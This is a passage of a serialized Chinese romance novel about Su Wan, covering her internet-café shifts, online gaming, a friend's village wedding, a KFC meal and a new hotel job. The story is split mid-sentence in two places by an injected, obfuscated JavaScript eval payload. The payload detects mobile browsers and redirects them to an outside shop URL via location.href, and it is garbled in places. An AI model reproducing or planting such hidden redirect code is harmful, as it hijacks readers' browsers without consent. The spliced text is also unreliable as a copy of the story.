云曦看着她,看了一会儿。嘴角弯了一下,弯得不明显,但苏晚看见了。她转过身,往大厅里走。步子不快,鞋底踩在地砖上,嗒嗒的,走到靠窗那台机器前,坐下来。她把卡插进读卡器里,屏幕亮了,她没动,盯着屏幕看了一会儿,然后把耳机戴上,头靠在椅背上,闭上了眼睛。 苏晚站在收银台后面,看着她的背影。白色的外套,黑色的毛衣,头发披在肩膀上,发尾有点分叉。她坐的那台机器,正是以前她常坐的那台,靠窗,能看见外面的街。以前她每次来都坐那个位置,说那边信号好,打游戏不卡。现在她坐在那儿,没打游戏,也没上网,就靠着椅背,闭着眼睛。 苏晚忽然觉得,这个画面她也见过。不是之前见过,是———好像这件事已经发生过一次了。云曦坐在那个位置,她站在收银台后面,隔着大厅,隔着那些机器,隔着这些日子。她说她要结婚了。苏晚说好。好像也只能说好。 她把目光收回来,低下头,手指在键盘上搭着,没敲。收银台上那几张零钱还摊着,她拿起来,一张一张捋平,对折,再对折,塞进抽屉的零钱格里。抽屉里那摞网卡码得整整齐齐的,最上面那张缺了一个角,她用手指摸了摸,把那张抽出来,放在最底下。 她抬起头,又看了一眼云曦。她还靠着椅背,没动,耳机挂在耳朵上,线垂下来,搭在膝盖上。屏幕上的屏保在动,一条线走来走去,从左边走到右边,又从右边走到左边。 苏晚想起以前。想起云曦把拖鞋扔过来,砸在门框上,啪的一声。想起她拖着箱子走在巷子里,轮子磨在地上,咕噜咕噜响。想起她回头看了一眼那扇窗户,窗帘拉着,一动不动。那些画面像旧照片,边角发黄,但还能看清。只是她有时候分不清,那些是真的发生过,还是她自己想出来的。她记不清了。她记得云曦扔拖鞋的时候喊了一句什么,但喊的是什么?有些东西就是这要产,你以为你记住了,其实你只记住了一个壳子,里面的东西早就漏掉了。 现在云曦坐在那里,隔着一个大厅,隔着十几排机器,隔着这几年的日子。她说她要结婚了。苏晚说好。好像也只能说好。 苏晚站了一会儿。 大厅里,云曦还靠着椅背,没动。耳机线垂下来,搭在膝盖上,随着她的呼吸微微起伏。苏晚看着她,看了很久。我们长大了。她心里冒出这句话,自己愣了一下。什么时候长大的?是拖着箱子走出那条巷子的时候,是站在路灯下面看着空荡荡的巷子口的时候,还是刚才说“好”的时候?不知道。就是长大了。 她把目光收回来,走回收银台坐下。低下头,手指在键盘上敲了一下,屏幕亮了。桌面上还是那个蓝天绿草的壁纸,光标在屏幕中间闪。她把鼠标移到播放器上,犹豫了一下,没点开,又移开了。她打开记事本,空白的文档,光标在第一行闪。她盯着那个光标,盯了很久,一个字也没打。关掉,没保存。 门上的铃铛响了。有人进来,有人出去。窗外暗下来了,路灯亮了,橘黄色的光从窗帘缝隙里挤进来,落在地砖上,一小块一小块的。她站起来,走到窗边,把窗帘拉开一点,外面的街景露出来——人行道,路灯,对面店铺的招牌,有人拎着袋子走过,步子慢悠悠的。 她站了很久,久到门上的铃铛又响了一声,有人进来,她转回收银台后面。 63. 游戏 网吧的日子日复一日差不多。 苏晚每天早上八点或者晚上八点接班,两班倒,十二个小时,坐在收银台后面,给客人开卡、充钱、退卡、卖水和方便面。收银台边上的那台电脑被她用来看剧听歌,后来不知道什么时候开始,用途越来越广——但说到底,也就是从“只看剧”变成了“一边看剧一边听歌”,偶尔把播放器最小化,盯着桌面发一会儿呆。路过的客人有时候会停下来,看一眼她的屏幕。 “你就不能玩点游戏?”一个常来的男生把网卡递过来的时候,瞟了一眼她的屏幕,屏幕上正放着一首老歌,“打游戏才好玩嘛,你这有什么意思。” 苏晚把找零递过去,笑了一下,没接话。她不是没想过玩游戏,但不知道从哪儿开始。电脑对她来说就是一个播放器,打开,点开,看完关掉,够了。 那个男生没走,靠在收银台边上,手指在台面上叩了两下。“我带你玩款游戏,你要不要试试?” 苏晚想了想。“好。” 她不知道为什么会说好。大概是太无聊了,大概是每天看剧听歌也腻了,大概是那个男生说“打游戏才好玩”的时候,她忽然觉得他说得对。她需要一点什么东西,让这些一模一样的日子有点不一样。 男生叫陈昊,他那段时间常常下半夜来网吧,苏晚从他身边经过时看过他玩的游戏界面,画面花花绿绿的,角色在屏幕上跑来跑去,没细问游戏名。 陈昊帮她注册了账号,教她怎么登录。他把键盘转过来,手指在上面敲了几下,屏幕上跳出一个窗口。 “这个叫‘刀剑封魔录’,”他说,声音有点哑,是熬夜之后那种沙,“打怪不是光点鼠标就行,你得自己操控每一次攻击。戳刺、猛砍、剁削、跳劈——不同的按法,不同的效果。” 苏晚看着屏幕,点点头,手指搭在键盘上,没动。 “你试试往前走。” 她按了一下键盘上的方向键,角色动了一下,撞在墙上,卡在那儿不动了。她又按了一下,还是卡着。 “别两个一起按。” “你手太紧了,松开。” 苏晚把手指松开,只按一个键,角色从墙角走出来,站在空地上。她松了一口气,手指松下来,靠在椅背上。 “这不是会了嘛。”陈昊笑了一声。。 苏晚开始打游戏了。她也不知道自己怎么就迷上了,大概是那种“做对了”的感觉——按下键,角色动了,砍下去,怪倒了,经验值涨一格。每一步都有回应,不像生活里那些事,做了跟没做一样,变了跟没变一样。她打得越来越熟,从磕磕绊绊到行云流水,从只敢在安全区转悠到敢往怪堆里冲。陈昊偶尔从大厅里走出来,看一眼她的屏幕,点点头,说一句“可以啊”,又回去了。 有一天晚上,她打到一个Boss。那个Boss她打了好几天了,每次都是差一点就死,每次都是她先躺在地上看黑白屏幕。那天晚上不知道怎么回事,手特别顺,技能按得一个接一个,连招连得她自己都没想到。Boss的血条一格一格往下掉,掉到最后那一格的时候,她的手在抖,眼睛盯着屏幕不敢眨。最后一刀砍下去,Boss倒在地上,爆出一地的装备和金币。 苏晚激动得向后微靠椅。惊得边上的一个男生连连看她。她盯着屏幕上那些闪闪发光的装备,嘴角咧开了,自己都没发现。 “打个游戏至于吗?”声音从身边传过来。不高,带着一点笑。 苏晚意识到自己失态了,微侧头脸一下子红了,想努力降低自己的存在。 “没事,”另一个声音传来,“你继续。” 苏晚看向声音来源。隔着一个位置的一个穿着深色连帽衫的男生对她笑了笑。 苏晚愣了一下,点了点头,手放在键盘上。屏幕上的角色还站在那儿,地上的装备闪着光。她把装备一件一件捡起来,手指在键盘上敲着,动作比刚才慢了一些。她没再回头看那个男生,但能感觉到他的目光从那边扫过来,停了一下,又移开了。她盯着屏幕,耳朵有点热。 云曦的婚礼是在老宅子办的。那天苏晚请了假,坐了一个多小时的公交车,又走了十几分钟的路,才到那个村子。老宅子是那种农村常见的砖瓦房,青砖灰瓦,门前有一块很大的空地,平时晒谷子,今天摆满了桌子。红色塑料桌布铺上去,从这头铺到那头,一桌挨着一桌,摆了十几桌。每张桌子上摆着几瓶雪碧和可乐,还有几瓶当地产的啤酒,绿瓶子,商标上印着看不懂的字。空地边上搭了一个大棚子,里面架着几口大锅,热气从锅盖缝里冒出来,白花花的一片,灶台下面塞着木柴,烧得噼里啪啦响。有人在切菜,有人在颠勺,有人端着盘子从棚子里跑出来,喊着“让一让让一让”,从桌子之间穿过去。小孩在桌子底下钻来钻去,手里攥着鞭炮,点一个扔一个,啪啪地响。老人坐在墙根底下晒太阳,嗑着瓜子,聊着天,偶尔抬起头看一眼热闹的场面,又低下头继续嗑。 苏晚站在空地边上,看着这场面,有点恍惚。她已经很久没有见过这种场面了。上一次参加这种农村酒席,还是小时候,在外婆家。那时候她还小,什么都不懂,跟着表哥表姐在桌子底下钻,手里也攥着鞭炮。她站在那儿,站了一会儿,直到有人喊她。 “清清?” 苏晚转过头。云曦的妈妈站在她面前,手里端着一盘瓜子,围裙上沾着油渍。她的头发白了很多,以前只有几根,现在几乎全白了,脸上的皱纹也深了,笑起来的时候挤在一起,像揉过的纸。 “阿姨好。”苏晚说。 “好好好,”云曦妈妈把瓜子盘放在旁边的桌子上,腾出手来拉住苏晚的手,上下打量她,“清清啊,多年没见,漂亮了。瘦了,比以前瘦了。”她拍了拍苏晚的手背,又松开。“今天人多,你就自己动手啊。该吃吃该喝喝,你当自家一样啊。” “好的,”苏晚点点头,“谢谢阿姨。” “你外婆身体还好吧?”云曦妈妈一边问一边从口袋里掏出一把糖果,塞到苏晚手里。 “还不错。”苏晚笑笑,把糖果攥在手心里。 “那就好那就好。”云曦妈妈转身去招呼别的客人了,走了两步又回头,“多吃点啊,别客气。” 苏晚站在那儿,把糖果装进口袋里,往宅子里面走。宅子是老式的,进门是一个堂屋,堂屋两边是房间,云曦那间在最里面。门口进进出出的都是人,小姐妹们端着盘子,拎着袋子,喊着“让一下让一下”,从她身边挤过去。苏晚侧着身子让她们过去,自己慢慢往里走。 云曦坐在床边。她穿着一件红色的嫁衣,不是那种婚纱,是传统的红裙子,裙摆铺在床上,上面绣着金色的凤凰和花朵。她的头发盘起来,别着红色的花,耳朵上挂着金耳环,脖子上戴着金项链,手腕上套着金镯子,一整套,在灯光下闪闪发亮。她坐在那儿,手放在膝盖上,腰挺得直直的,像是在等什么。旁边几个大婶坐在凳子上,嗑着瓜子,聊着家常,声音嗡嗡的,盖过了外面的鞭炮声。 苏晚站在门口,看了一会儿,然后走进去。她把准备好的红包从口袋里掏出来,放在床头的梳妆台上,红包鼓鼓的,压在台面上,边上是一把梳子和几根红色的头绳。她随手拉了一把凳子,在床边角坐下来。 旁边的大婶在聊谁家的儿子娶了媳妇,谁家的女儿嫁了人,谁家的婆婆厉害,谁家的媳妇不会过日子。声音很大,但苏晚听不进去,她坐在那儿,看着云曦。云曦也看见她了,冲她挤了一下眼睛,嘴角弯了一下,又收回去,继续端端正正地坐着。 开席了。苏晚被安排在一桌,旁边坐着几个不认识的人,互相介绍了一下,说了几句客气话,然后各自埋头吃菜。皮球坐在对面,穿着一件浅粉色的连衣裙,胸口别着一朵红花,上面写着“伴娘”。她旁边坐着一个男的,胸口也别着一朵红花,上面写着“伴郎”。皮球给苏晚使了个眼色,嘴往伴郎那边努了努,苏晚没看懂,低头吃菜。 酒过三巡,场面就热起来了。不知道谁先起的头,几个年轻的男人端着杯子站起来,围到伴郎那桌,说要敬他酒。伴郎站起来,笑着推了两句,说自己是来帮忙的,喝多了误事。旁边的人不依,杯子已经举到他面前了,推不过,他接过来,仰头干了。旁边的人又给他满上,他又干了。再满上,再干。 三碗下去,伴郎的脸从红变白,又从白变青。土酒是村里自酿的,装在白色的塑料壶里,壶身上印着红色的商标,花花绿绿的,看不清是什么牌子。酒倒出来是无色的,闻着冲,喝下去从喉咙一路烧到胃里,像吞了一团火。伴郎喝了三碗,站在那儿晃了一下,手撑着桌面,指尖发白,撑了两秒,没撑住,整个人往旁边歪过去。旁边的人眼疾手快,一把扶住他的胳膊,另一个从另一边架住他的肩膀。有人笑着说“倒了倒了”,有人喊着“扶进去扶进去”。伴郎被两个人架着往屋里走,腿软得像面条,脚在地上一拖一拖的,鞋尖蹭着地面,留下一道浅浅的灰印。他嘴里嘟囔着什么,听不清,只看见嘴唇在动,舌头像是打了结。 桌上的人笑成一片,有人站起来张望,有人夹菜往嘴里送,有人端起杯子接着喝。皮球坐在对面,看着伴郎被架进去,摇了摇头,端起面前的茶杯喝了一口,又放下。苏晚夹了一块红烧肉放进嘴里,嚼了两下,没说话。云曦从旁边走过来,在她身边坐下来。她已经换了便装,脸上的妆卸了大半。她凑过来,压低声音。 “清清,我知道你酒量好,没让你当伴娘是有考虑到家里的规矩,这酒量……”她停了一下,看了一眼里屋的方向,“还好还好,不是你。” 苏晚把嘴里的肉咽下去,看了云曦一眼,有点无语。就算会喝也不至于吧。好吧,土酒确实烈。她端起面前的茶杯喝了一口,茶是凉的,涩涩的。“没事。”她说。 云曦拍了拍她的手背,站起来,去招呼别的客人了。酒席热热闹闹地继续着,有人划拳,有人唱歌,有人喝醉了趴在桌上,有人抱着孩子在院子里走来走去。苏晚坐在那儿,把碗里的饭吃完,把汤喝完,放下筷子。她看着那些桌子,那些红色的桌布,那些绿色的瓶子,那些走来走去的人,忽然觉得这一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437429|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很远。不是距离上的远,是时间上的远。她已经很久没有在这么热闹的地方待过了,热闹是他们的,她只是一个观众。 散席的时候,天已经黑了。苏晚站在宅子门口,跟云曦道别。她走了几步,回头看,云曦还站在门口,脸上的表情看不清。她挥了挥手,转回头,继续走。 又过了几天。那天晚上九点半,大厅里机箱嗡嗡地响着,键盘噼里啪啦的,有人在打游戏,有人在聊天。苏晚刚交接完班,按说该回家了,但她不太想走。晚上那场打得正顺,Boss就差最后一刀,她想打完再走。她坐回电脑前,屏幕上还停在游戏界面,她搓了搓手指,活动了一下手腕,重新握上鼠标。 她最近迷上了一个Boss,每天都要打几回,打得好的时候能过,打得不好的时候躺在地上看黑白屏幕。今天晚上手气不错,连过了两关,她的嘴角翘着,眼睛盯着屏幕,手指在键盘上飞。 “这么开心?” 一个声音从耳边传过来,太近了,近得几乎贴着耳朵。苏晚吓了一跳,整个人往旁边弹了一下,手肘撞在椅背上,生疼。她转过头,那个男生站在她旁边,眼睛亮亮的,嘴角翘着,正是那天说“没事,你继续”的那个。他穿着一件白色的T恤,外面套着一件薄外套,拉链没拉,整个人看起来干干净净的,站在那儿,手插在口袋里,歪着头看她。 苏晚往后退了一点,手捂着胸口,心跳得很快。“你吓死我了。” 男生笑了一声,下巴往收银台那边抬了抬。“收银台没人,帮开张网卡。” 苏晚看了他一眼,站起来往收银台走。她拿着卡走回来的时候,男生站在她的电脑前面,弯着腰,手指在键盘上敲了两下,屏幕闪了一下,游戏界面跳出来。他直起身,退到一边,把位置让给她。 她没说话,将卡递给他。男生拿了卡,就选择她边上的电脑坐下。他侧头冲苏晚眨了一下眼睛。苏晚愣了一下,把目光移开,落在自己的屏幕上。鸡皮疙瘩从胳膊上冒出来,她搓了搓手臂,把椅子往旁边挪了一点。 “好玩吗?”他问,没回头,但声音从那边传过来,清清楚楚的。 “还行。”苏晚说,“瞎玩。” “你玩的那个没意思。”他转过头来,胳膊搭在椅背上,“我玩‘热血传奇’,比你这个好玩。要不要试试?” 苏晚想了想。她不知道为什么会想,但她想了。“好。” 男生帮她注册了账号,教她怎么操作。他说话的时候喜欢歪着头,嘴角翘着,像是在笑,又像是在想什么。他教得很耐心,但苏晚打得不好。传奇的界面比刀剑复杂,人多,怪多,她站在安全区里看着满屏幕的人跑来跑去,不知道该往哪儿走。他带她出去打怪,她跟不上,总是被怪打死。他帮她复活,再带,再死。屏幕上她的角色又躺下了,黑白画面,血条空了。 “没事。”他说,声音不高,手指在键盘上敲了两下,帮她复活。 苏晚摇摇头,把游戏关了。“算了。” 屏幕暗下来,映出她自己的脸。她靠在椅背上,手指从键盘上收回来,放在膝盖上。 “不玩了?”他问。 “不玩了。” 男生看着她,没说话。过了一会儿,他站起来,低头在键盘上操作了几秒,屏幕闪了两下,他把界面退干净了,按下主机的电源键,机箱嗡嗡声停了。 “走了。”他说。 “哦”苏晚回了一声,没抬头。 “你叫什么?”他问。 “苏晚。” “我叫林越。”他把手插进口袋里,肩膀晃了一下,“记得通过下QQ。” “?”苏晚愣了一下,抬头,看向他走向拐角收银台的背影,“不是,QQ号他怎么知道的?” QQ右下角弹出来一条好友申请,头像是个黑白的卡通图案,网名就一个字:越。她鼠标停在“通过验证”的按钮上,顿了一下,点了下去。 林越经常来,会陪她聊会天。每次开口都能把她逗笑。 有一天晚上,苏晚在收银台后面清点物资,林越从大厅里走出来,站在她旁边,看着她把方便面从箱子里掏出来,一桶一桶码进架子里。 “我帮你。”他蹲下来,从箱子里掏出方便面,递给她。 苏晚接过来,码进架子里。两个人一个递一个码,没说话,但配合得很顺。码完最后一桶,他站起来,拍了拍手上的灰。 “苏晚。” “嗯?” “你下班几点?” “早上八点。” “那我陪你到八点。” 苏晚看着他。他站在那儿,手插在口袋里,嘴角翘着,眼睛亮亮的。她没说话,低下头继续整理货架。他也没说话,靠在收银台上,看着她。 那之后他经常等她下班。路上没什么人,他骑自行车带她。风迎面吹,有点凉。 那天晚上她回到家,躺在床上,看着天花板。脑子里想的是他微微笑的样子。她翻了个身,面朝墙。她闭上眼睛,不知道为什么,嘴角翘了一下。 64. 肯德基 “来了来了,我看见你了,晚晚!” 苏晚站在巷子口,手机贴在耳边,听筒里传出来的声音又亮又脆,隔着电波都能听出那张脸上的笑。她没出声,嘴角弯了一下,把手机从耳边拿下来,揣进口袋里。 脚步声从巷子那头传过来,先是闷闷的,在楼道里回响,然后越来越近,越来越脆。拐角处一个人影闪出来,阳光正好照在她身上——头发是烫过的,卷卷的披在肩膀上,穿着一件浅粉色的外套,牛仔裤,白色帆布鞋,鞋带系得松松垮垮的。她跑出来的时候步子大,鞋底踩在地砖上,嗒嗒的,跑到苏晚面前才刹住,喘着气,脸被太阳晒得有点红。 “等久了吧?”林栖把额前的碎发往后拨了一下,手指在头发里拢了拢,又放下来。 “没有。”苏晚把手从口袋里抽出来,两个人顺着巷子往外走。巷子窄,走不开并排,林栖走在前头,苏晚跟在后面,一前一后。林栖的帆布鞋踩在青石板上,声音脆生生的,苏晚的平底鞋落下去,闷一些,两个声音一前一后,像在打拍子。 拐出巷子,眼前豁然开朗。主路对面,一座酒店立在午后的光线里,玻璃幕墙把天空切成一块一块的,云在那些方块里面慢慢挪,从这块移到那块,又从那块移出来。酒店附楼的一层,肯德基的红白招牌亮着,红底白字,在日光下显得有点旧,但还是很扎眼。门口进进出出的人影被玻璃门拉长又压扁,推开门的时候,里面的冷气涌出来,站在街对面都能感觉到那一股凉意。 “走,我今天想吃那个新出的——”林栖拽着她的手腕过马路。她走得急,步子跨得大,苏晚被她拉着,几乎是小跑着穿过斑马线。到了对面,林栖才松开手,推开玻璃门,冷气扑面而来,苏晚的肩膀缩了一下。 店里人不算多,靠窗的位置空着几张桌子。林栖选了靠里面的一张,把包放在椅子上,转身去排队。苏晚坐下来,把手机放在桌上,屏幕朝下,手指在桌沿上蹭了一下。桌面是硬的,白色的,印着肯德基的Logo,边角有一小块没擦干净,油渍洇在那儿,黄黄的。她把手收回来,放在膝盖上,看着林栖排在队伍中间,踮着脚尖往前看,回头冲她比了个“等一下”的手势,又转回去了。 窗外的阳光从玻璃外面照进来,落在桌面上,一小块。苏晚盯着那块光,看了一会儿。光里有细小的灰尘在飘,慢慢悠悠的,从这边飘到那边,从那边飘到这边,不知道要落到哪里去。 林栖端着一个大托盘回来,托盘是红色的,边沿磨得发白。她把托盘往桌上一放,上面的东西一样一样往下拿——两个汉堡,两杯可乐,一盒鸡块,还有两个小纸盒,印着新品的广告,花花绿绿的。 “尝尝这个,说是新出的——”她把其中一个小纸盒推到苏晚面前,又推了一杯可乐过去,自己坐下来,把吸管从纸套里抽出来,戳进杯子里,噗的一声。“最近怎么样?” 苏晚把汉堡的包装纸撕开,面包还是热的,夹着一块炸鸡,生菜叶子从边上支出来。她咬了一口,嚼了两下,咽下去。“还行。” “什么叫还行?”林栖把鸡块蘸了酱,塞进嘴里,腮帮子鼓着,说话含糊不清的,“找工作的事呢?” 苏晚咬了一口手中的食物,没说话。面包在嘴里嚼着,软绵绵的,咽下去的时候噎了一下。她端起可乐喝了一口,冰的,气泡在舌尖上炸开。公司已经欠了两个月工资了。老板的电话打不通,公司群里一片死寂,没人说话,没人知道怎么回事。上个月还有人问了一句“工资什么时候发”,没人回。后来连问的人都没有了。她不是没想过找工作的事,但每次打开招聘网站,翻了翻,又关掉了。她不知道自己在等什么,也许是在等老板回电话,也许是在等那两个月工资发下来,也许什么也没等,就是不想动。如果让林栖知道欠薪的事情,找工作就是头等大事。她会帮她搜职位,帮她改简历,帮她打电话问面试时间,比她自己还急。苏晚不想让她急。至少现在不想。 窗外的阳光挪了一点,刚好落在她手背上。一小块光,温温的,不烫。她盯着那一小块光,看它贴在皮肤上,薄薄的一层,像什么东西盖在上面,又像什么东西从里面透出来。这个画面好像在哪里见过。 “.......晚晚?” 苏晚回过神。林栖的手在她面前晃了一下,手指张开着,指甲剪得很短,上面涂着一层透明的甲油,亮亮的。 “你想什么呢?”林栖歪着头看她,眉毛挑了一下。 “没什么。”苏晚把最后一口汉堡塞进嘴里,嚼了两下,咽下去,用纸巾擦了擦手指。“你呢?” “怎么说到我了呢?”林栖把鸡块的盒子推开,手撑在桌面上,下巴搁在手背上,眼睛往上翻,看着苏晚。 苏晚笑了一下,把纸巾揉成一团,扔在托盘里。“继你的游戏大神之后,你别说你没有再谈恋爱。” 林栖愣了一下,眼睛眨了眨,目光从苏晚脸上移开,落在窗外的街景上,又移回来。 “这都多久的事情了,怎么提到他呢?”林栖把目光收回来,端起可乐杯,吸了一口,冰块在杯底哗啦响了一声,“怎么提到他呢?” 苏晚靠在椅背上,手指在桌沿上慢慢蹭了一下。“知道吗?你家大神还存着我家的电话呢。” “是不是啊。”林栖把可乐杯放下,杯子底部磕在桌面上,咚的一声,她的眼睛瞪大了一点,眉毛往上挑了一下。 苏晚看着她,嘴角弯了一下,带着一点无奈。“你说呢?大过年还记得发个消息给我拜年。这都有二三年了吧。” 林栖没说话,手指在杯壁上蹭了一下,水珠凝在指尖,她甩了甩手,把手搭在桌沿上。 “我妈帮我一直介绍着呢,”林栖的声音低了一点,不像刚才那么亮了,“我妈说也有帮你留意呢。”她抬起头,看着苏晚,目光在她脸上停了两秒。“说说你的条件。帅?个高?” 苏晚笑了一声,是那种从鼻子里出来的笑,短促的,没什么声音。“我哪有什么条件啊,”她把手从桌沿上收回来,放在膝盖上,手指交叉握在一起,“我现在该考虑的是我的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437430|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要赚钱养活自己先吧。”她顿了一下,“谢谢阿姨了。” “你就说去不去,如果有合适的话。”林栖往前探了探身子,胳膊肘撑在桌面上,下巴搁在手背上,眼睛从下往上看着她。 苏晚被她看得有点不自在,把目光移开,落在窗外的街上。一个老人拎着菜篮子从人行道上走过,篮子里装着几根葱和一块豆腐,塑料袋在手腕上晃着。她看了两秒,转回来。 “好,”她说,嘴角弯了一下,弯得不深,“有的话,我去见一见,要麻烦阿姨。” 林栖直起身,靠在椅背上,双手交叉抱在胸前,下巴微微抬了一点。“我朋友帮我介绍了同行。” “老师?”苏晚的眼睛亮了一下,手指在膝盖上松开,“真好,如何?” “先接触后再告诉你。” “可以。”苏晚点了点头,端起可乐杯喝了一口,冰块化了,可乐不凉了,甜味淡了一些。 林栖看着她,嘴角翘着,眼睛亮亮的。“哪次我没让你见过他。” 苏晚把可乐杯放下,杯子底部磕在桌面上,咚的一声,她看着林栖,嘴角往上翘,笑得眼睛弯弯的,手指在桌沿上叩了两下。“是是是,够意思。” 两个人从肯德基出来的时候,太阳已经偏西了。街上的影子拉长了,从人行道的这边斜到那边。林栖站在门口,把外套拉链拉好,手插进口袋里,转过身看着苏晚。 “那我走了。你那个工作的事,别拖着。该找就找。” 苏晚点了点头。“知道了。” “你每次都这么说。”林栖看了她一眼,嘴角往下撇了一下,不是生气,是那种“我拿你没办法”的表情。她转过身,往左走了两步,又回头,“电话联系。” “好。” 林栖走了。步子大,走得快,马尾在肩膀上晃着,浅蓝色的外套在人流里越来越小,拐进巷子口,不见了。苏晚站在肯德基门口,抬头看头顶的电子大屏,屏幕上正在滚动招聘信息。 ”酒店招聘......文员、前台、服务员.....“她念得很慢,一个字一个字地往外蹦,像是在确认什么,又像是在把这些字从屏幕里拽出来,放到自己脑子里。 屏幕上的光打在她脸上,白惨惨的,把她的脸照得发亮。她盯着那几行字,脑子里转过一个念头——她需要一份工作。不是“想要”,是“需要”。公司欠了两个月工资,老板的电话打不通,群里的消息没人回。她不能等了。她把手从口袋里抽出来,掏出手机,按着屏幕上的信息,一个数字一个数字地拨号。拨完最后一个数字,她把手机贴在耳朵上,听筒里传来“嘟——嘟——”的长音,响了三下,那头接了。苏晚的嘴唇动了一下,喉咙里挤出一句“你好,我看到了你们的招聘信息……”,她的声音不高,但每个字都咬得很清楚。那边问了几句,她答了几句,挂了。 那天晚上,苏晚收到一条短信:尊敬的苏晚女士,请于本周三上午十点到我司参加面试。 她把短信看了三遍,然后打电话给林栖。 65. 从外到内 下午两点半,苏晚拿着刚审完的报销单,从财务室出来,向行政大厅周卉办公桌那里走去。大厅走廊上铺着灰色的地毯,踩上去没声音,头顶的灯管嗡嗡响着,白花花的光铺下来,把她的影子缩成脚下的一小团。她把报销单在手里又捋了一遍——十二张,按部门分好,用回形针别着,最上面那张贴着一张小纸条,写着“请周主任审核”。 “周主任,这是上午的那批报销单”苏晚把单子放在桌上,手指按着边缘推了推,让最上面那张正对着周卉的方向。 周卉接过来,把回形针取下来,搁在桌面上,一页一页翻。她看得不快,每一张都要停一下,目光从报销项目扫到金额,又从金额扫到后面的附件。翻到第三张的时候,她的手指在数字上点了一下,眉头微微皱了一下,又松开,没说话,继续往下翻。翻完最后一张,她把单子拢整齐,拿起笔,刷刷刷地签了名。签完把笔帽套上,搁在桌上,把单子推过来。 “这些单子还要找老板签字。”她说,头没抬,手指在单子边缘上按了一下,让它们对齐。 苏晚愣了一下,伸手去接单子,手指碰到纸面的时候停了一下。“老板?” “对,朱总。”周卉把桌面上那枚回形针捡起来,放回笔筒里,顺手把笔筒转了个方向,“所有报销单最后都要他签。你直接去他办公室。” 苏晚接过单子,想说什么,但周卉已经开始接电话了。她只好拿着单子往老板办公室走去。 苏晚站在走廊里,低头看了一眼手里的单子。把单子翻过来看了看背面,空白,什么也没写。 站在老板办公室门口,脚下的地毯是深灰色的。苏晚站了两秒,抬起手,指节在门板上叩了三下,不重,但很稳。 “进来。” 苏晚走进去,办公室很大,比她想象的大,落地窗对着街对面的楼,阳光从窗户照进来,落在地毯上,一大块亮的。朱总坐在办公桌后面,穿着一件白衬衫,袖子挽到小臂,手里拿着一份文件,正低头看。他抬起头,看见苏晚,目光在她脸上停了一下,认出来了,点了点头,把文件放下,手搭在桌面上。 “报销单?”他问。 “是的。”苏晚走过去,把单子放在桌上,放在他手边。 朱总接过来,一页一页翻,看得很快,但每一页都看得很仔细。翻到第三张的时候,他停了一下,目光在数字上多停了两秒,然后继续往下翻。翻完最后一页,他把单子拢齐,拿起笔,笔尖在纸上点了两下,然后刷刷刷地签了名。签完把笔放下,把单子推过来。 “行了。” 苏晚接过单子,手指按着纸边,把单子翻过来看了一眼——签名在最底下那页,黑墨水,字迹有点潦草,但能认出是“朱”字打头。她把单子合上,说了句“朱总,我先走了。”转身要走。 “等等。” 她回过头。 “这几天干得怎么样?”朱总靠在椅背上,看着她,目光不重,但停了一会儿。 苏晚愣了一下,“还行,还在学。”她说。声音不高,但每个字都说清楚了。 朱总点了点头,没再说什么,摆了摆手,示意她可以走了。 苏晚转身走出办公室,站在走廊里,低头看了一眼手里的单子。十二张,周卉签了,老板也签了。她盯着那些签名看了一会儿,脑子里转过一个念头—— 报销单,不是应该谁报销谁去找老板签字吗? 这个念头在她脑子里转了一圈,又转了一圈。她想了想,没想明白。大概是酒店的规矩不一样,大概是周卉不想跑腿,大概是她刚来,这些事情就该她做。她把单子合上,往电梯口走。 聚餐结束的时候,苏晚走出西餐厅,感觉自己吃撑了。真的吃撑了,不是客气的说法,是胃里实实在在顶着一团东西,走路都不敢走快,怕颠。她低头看了一眼自己的肚子,白衬衫被撑得有点鼓,她用手按了按,又把衬衫拽了拽,让它垂下来。不敢数自己吃了几个小蛋糕,反正服务员端着托盘从她身边经过的时候,她就拿一个,经过的时候,再拿一个。 手机响了。 她从口袋里掏出来,屏幕上亮着“林栖”两个字。她接起来,把手机贴在耳朵上。 “喂——” “聚餐结束了吗?”林栖的声音从听筒里挤出来,还是那个调调,带着一点往上翘的尾音,“还活着吗?” “吃撑了”苏晚说,靠在墙边,手搭在胃上。 “说说”林栖在那边笑了一声,不是那种大声的笑,是从鼻子里出来的,短促的,但能听出她在笑。 “那个吃西餐有点尴尬。”苏晚老实说,把手机换到另一只耳朵,肩膀夹着,“我不知道怎么吃。不知道哪道菜先吃,不知道用哪副刀叉,只能看别人怎么做,跟着学。” “你认真的?”林栖的声音拔高了,带着那种“你在跟我开玩笑吗”的语气。 “认真的。” 手机那头沉默了两秒,苏晚都能想象对面的林栖该是什么表情——手撑着额头,眼睛闭着,嘴巴微微张着,像是在消化一个不太能消化的信息。然后她笑出声来,不是刚才那种短促的笑,是真的笑出声了,从喉咙里滚出来的,带着气音。 “苏晚,你是真的.....算了,我习惯了。”她的笑声还没收住,尾音往上飘了一下,“你不会给我打电话?” 苏晚也笑:“真的,我第二次进西餐厅。第一次是小学同学请客,那都是多少年前的事了。” “小学同学?”林栖的声音一下子亮了,来了兴趣,“男的女的?” 苏晚想了想:“男的。” “哦—”林栖拉长了声音,那个“哦”从低音滑到高音,又滑下来,带着一种“我就知道”的得意,“请客吃饭的男同学,还是想不到会有联系的。什么情况?” 